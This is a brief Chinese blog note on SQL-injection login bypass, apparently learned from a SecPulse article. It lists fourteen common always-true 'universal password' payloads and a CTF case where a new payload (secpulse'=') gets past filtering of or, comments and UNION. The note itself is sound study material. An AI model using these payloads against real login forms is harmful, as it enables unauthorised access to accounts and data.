看到大佬的的一篇sql注入新型万能密码文章,学习了。
SQL注入的万能密码注入利用的原理是:
SQL语句中逻辑运算符具有优先级,【=】 优先于【and】,【and】 优先于【or】,且适用传递性。
利用逻辑运算优先级构造万能密码绕过登陆。
常见万能密码:
1:"or "a"="a 
2: ')or('a'='a 
3:or 1=1-- 
4:'or 1=1-- 
5:a'or' 1=1-- 
6:"or 1=1-- 
7:'or'a'='a 
8:"or"="a'='a 
9:'or''=' 
10:'or'='or' 
11:1 or '1'='1'=1 
12:1 or '1'='1' or 1=1 
13: 'OR 1=1%00
14:' UNION Select 1,1,1 FROM admin Where ''='
我们平时遇到的SQL注入万能密码都是形如
admin' or '1'='1
这种使用or 关键字使得查询结果永真,或者形如:
' UNION Select 1,1,1 FROM admin Where ''='
这种使用union使得查询结果永真。
CTF的比赛中遇到的SQL注入问题,使用这两种万能密码都不好使,不管怎么变换形式,都不好使,显然是or和union 关键字被过滤掉了。
尝试常规的万能密码 经过fuzz发现 or 和 --被过滤掉了,常规万能估计走不通,试试其他形式的 :比如利用注释:
username:admin'/*hello
passeord = world*/#'
发现 # 和 * 被过滤掉了,没有了or ,#, * 怎么利用万能密码呢?
payload:新型万能密码
username = secpulse'=' password = secpulse'='
拼接起来就是:
select * from table where username='secpulse'='' and passowrd = 'secpulse'='';
sql解释引擎是从左至右执行: 数据库肯定没有secpulse这个用户,结果是false flase = '' 结果就是 true。
真是妙啊。。
参考:

https://www.secpulse.com/archives/76200.html